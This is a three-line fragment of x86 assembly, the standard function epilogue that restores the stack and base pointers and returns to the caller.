mov esp, ebp
pop ebp
ret